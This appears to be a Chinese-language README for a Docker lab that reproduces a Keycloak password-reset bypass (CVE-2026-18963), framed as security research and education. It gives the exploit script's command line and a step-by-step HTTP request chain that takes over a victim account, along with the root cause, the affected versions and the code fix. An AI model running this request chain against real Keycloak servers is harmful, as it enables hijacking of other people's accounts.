本实验模拟 Keycloak 中的 CVE-2026-18963 漏洞(CVSS 9.1),该漏洞允许 攻击者通过绕过密码重置流程中的邮箱验证来接管任意账户。
仅供安全研究和教育目的使用。
docker-compose up -d
等待 Keycloak 启动(约 30-60 秒)。
pip install -r requirements.txt
python setup-lab.py
脚本将创建:
vuln-labvictim([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
选项:
-u / --url:Keycloak URL(默认:http://127.0.0.1:8080)-r / --realm:Realm 名称(默认:vuln-lab)-t / --target:目标用户名(默认:victim)-p / --password:新密码(默认:Pwned123!)-v / --verbose:启用调试输出MailHog UI:http://127.0.0.1:8025 — 查看漏洞利用过程中发送的重置密码邮件。
docker-compose down -v
Keycloak 中的两个缺陷组合形成了攻击链:
缺陷 1 — 选择器状态损坏(DefaultAuthenticationFlow.java):
当用户点击 "Try Another Way" 时,认证备注 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
被保存为 "true"(布尔字符串)而非执行模型 ID。值
"true" 不绑定到任何具体执行,因此它会在流程的各个步骤中持续存在,
导致选择器在错误的上下文中显示。
缺陷 2 — 无条件操作成功(ResetCredentialEmail.java):
ResetCredentialEmail 的 action() 方法无条件调用 context.success()
而不检查操作令牌。正常情况下,action() 仅在用户
点击邮件中的链接(带有操作令牌)时被调用。但当选择器损坏时,攻击者
可以通过流程处理直接触发 action()。
攻击者 Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. 初始化认证会话
│<── 登录页面 + cookies ──────────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. 跳转到重置流程
│<── 用户名表单 ──────────────────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. 损坏选择器状态
│<── 认证器选择器 ────────────────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. 通过选择器提交用户名
│<── "Check your email" 页面 ────────│ 邮件已发送,CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. 重新进入重置流程
│<── 损坏的选择器 (!!!) ──────────────│ processFlow() 看到 SELECTOR="true"
│ │ → 为邮件步骤显示选择器
│ │
│─── POST {} (空请求体) ─────────────>│ 6. 绕过:触发 action()
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() 在表单中未发现
│ │ authenticationExecution
│─── GET /required-action ──────────>│ → 落入 action() 分支
│<── 密码更新表单 ────────────────────│ ResetCredentialEmail.action()
│ │ → context.success()(无条件!)
│ │ → 流程跳转到 ResetPassword
│ │
│─── POST password-new=Pwned! ──────>│ 7. 设置新密码
│<── 302 → /account/ ──────────────│ 账户接管完成
│ │
└── 使用新密码登录 ───────────────────┘
在 DefaultAuthenticationFlow.processAction() 中,当收到 POST 时:
tryAnotherWay → 无(表单为空)authenticationExecution → 无(表单为空)authenticator.action(result)由于 URL 包含 execution=<email_exec_id>(来自选择器表单 action),因此
ResetCredentialEmail.action() 被调用 → 返回 context.success() →
流程跳转到 ResetPassword → 显示密码设置表单。
| 产品 | 受影响 | 已修复 |
|---|---|---|
| Keycloak(上游) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() 检查 selector.equals(lastExecutionId) 而非 Boolean.parseBoolean()removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action() 在调用 context.success() 之前检查 ACTION_TOKEN_USER_IDcontext.failure(INVALID_USER)